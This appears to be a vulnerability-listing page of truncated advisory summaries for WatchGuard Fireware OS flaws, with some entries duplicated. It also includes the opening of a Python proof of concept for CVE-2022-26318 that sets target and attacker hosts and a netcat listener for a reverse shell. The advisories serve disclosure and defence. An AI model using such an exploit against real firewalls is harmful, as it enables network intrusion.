EUVD-2026-111162

A missing authentication vulnerability in the Fireware OS FireCluster synchronization daemon allows a remote, unauthenticated attacker to invoke privileged system-level administrative actions by sending a specially crafted request to the FireCluster management IP when the clustering feature is...

EUVD-2026-111160

A missing authentication vulnerability in Fireware OS's FireCluster state synchronization feature allows an unauthenticated attacker positioned on the cluster synchronization network segment to force premature VPN tunnel termination by sending crafted cluster synchronization traffic...

EUVD-2026-111155

An improper authentication vulnerability in WatchGuard Fireware OS's AuthPoint multi-factor authentication process allows a local, unauthenticated attacker on the appliance to hijack another user's in-progress MFA session by supplying a specially crafted request and convincing the victim user to...

CVE-2026-93857

A stack-based buffer overflow vulnerability exists in the Fireware OS SIP proxy . A remote, unauthenticated attacker can exploit this by sending a specially crafted request through a policy utilizing the SIP proxy, potentially leading to remote code execution . No specific exploit details or reme...

CVE-2026-82332

WatchGuard Fireware OS contains an improper authentication vulnerability (CWE-287, CWE-346) within its AuthPoint multi-factor authentication process. A local, unauthenticated attacker on the appliance can hijack another user's in-progress MFA session by submitting a specially crafted request and ...

CVE-2026-103594 Fireware OS Stack Buffer Overflow in WireGuard Configuration Allows Remote Code Execution

A stack-based buffer overflow vulnerability in Fireware OS's WireGuard configuration processing allows a remote attacker that has man-in-the-middle TLS-decrypted access between the Firebox and WatchGuard Cloud to create a Denial of Service condition and potentially execute arbitrary code by...

CVE-2026-104381 Fireware OS Missing Authentication in FireCluster State Sync Allows BOVPN Tunnel Denial of Service

A missing authentication vulnerability in Fireware OS's FireCluster state synchronization feature allows an unauthenticated attacker positioned on the cluster synchronization network segment to force premature VPN tunnel termination by sending crafted cluster synchronization traffic...

CVE-2026-93864 Fireware OS Link Following in firewalld Allows Local Arbitrary File Overwrite as Root

A link following vulnerability in WatchGuard Fireware OS’s firewall daemon allows a local attacker with code execution as a low-privileged system process to overwrite arbitrary files with root privileges, and to tamper with firewall IP set data, by planting a crafted file system object and...

CVE-2026-82332 Fireware OS Improper Authentication in AuthPoint MFA Verification Allows Session Hijacking

An improper authentication vulnerability in WatchGuard Fireware OS's AuthPoint multi-factor authentication process allows a local, unauthenticated attacker on the appliance to hijack another user's in-progress MFA session by supplying a specially crafted request and convincing the victim user to...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Watchguard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

CVE-2025-14733

WatchGuard IKEv2 Scanner — CVE-2025-14733 Identify WatchGuard Firebox appliances vulnerable to CVE-2025-14733, a critical pre-authentication vulnerability in the Fireware OS IKEv2 implementation. This tool performs safe version detection through standard IKEv2 negotiation. It does not attempt...

Vulnerabilities in WatchGuard Fireware OS

WatchGuard has identified several vulnerabilities in the Fireware OS. The impact of these vulnerabilities varies, as does the access rights required for exploitation. – An attacker with write permissions to the system can exploit a vulnerability in SAML single sign-on sessions to load malicious...

CVE-2026-86134

A NULL pointer dereference vulnerability in the WatchGuard Fireware OS authentication process allows a remote, unauthenticated attacker to crash the management daemon by sending a specially request to the login interface, resulting in a denial of service...

CVE-2026-86134 Fireware OS Pre-Authentication NULL Pointer Dereference Allows Remote Denial of Service

A NULL pointer dereference vulnerability in the WatchGuard Fireware OS authentication process allows a remote, unauthenticated attacker to crash the management daemon by sending a specially request to the login interface, resulting in a denial of service...

CVE-2026-86134 Fireware OS Pre-Authentication NULL Pointer Dereference Allows Remote Denial of Service

A NULL pointer dereference vulnerability in the WatchGuard Fireware OS authentication process allows a remote, unauthenticated attacker to crash the management daemon by sending a specially request to the login interface, resulting in a denial of service...

EUVD-2026-89605

A NULL pointer dereference vulnerability in the WatchGuard Fireware OS authentication process allows a remote, unauthenticated attacker to crash the management daemon by sending a specially request to the login interface, resulting in a denial of service...

CVE-2026-86134

A NULL pointer dereference vulnerability exists in the WatchGuard Fireware OS authentication process. This flaw allows a remote, unauthenticated attacker to crash the management daemon by sending a specially crafted request to the login interface , resulting in a denial of service (DoS). No speci...

EUVD-2026-89490

An integer underflow vulnerability in the WatchGuard Fireware OS IKEv2 daemon iked allows a remote, unauthenticated attacker to crash the process by sending a specially crafted encrypted IKEv2 message negotiated with an AES-GCM cipher suite...

EUVD-2026-89499

An improper authorization vulnerability in WatchGuard Fireware OS's SAML login process allows a remote, authenticated SAML user with access only to the Access Portal to obtain unauthorized Mobile VPN with SSL access through a specially crafted request...

EUVD-2026-89493

An uncontrolled resource consumption vulnerability in Fireware OS's diagnostic tasks feature allows a low-privileged, authenticated user to cause a denial of service of the system's diagnostic tools by repeatedly starting and aborting a specially crafted diagnostic task through the web UI...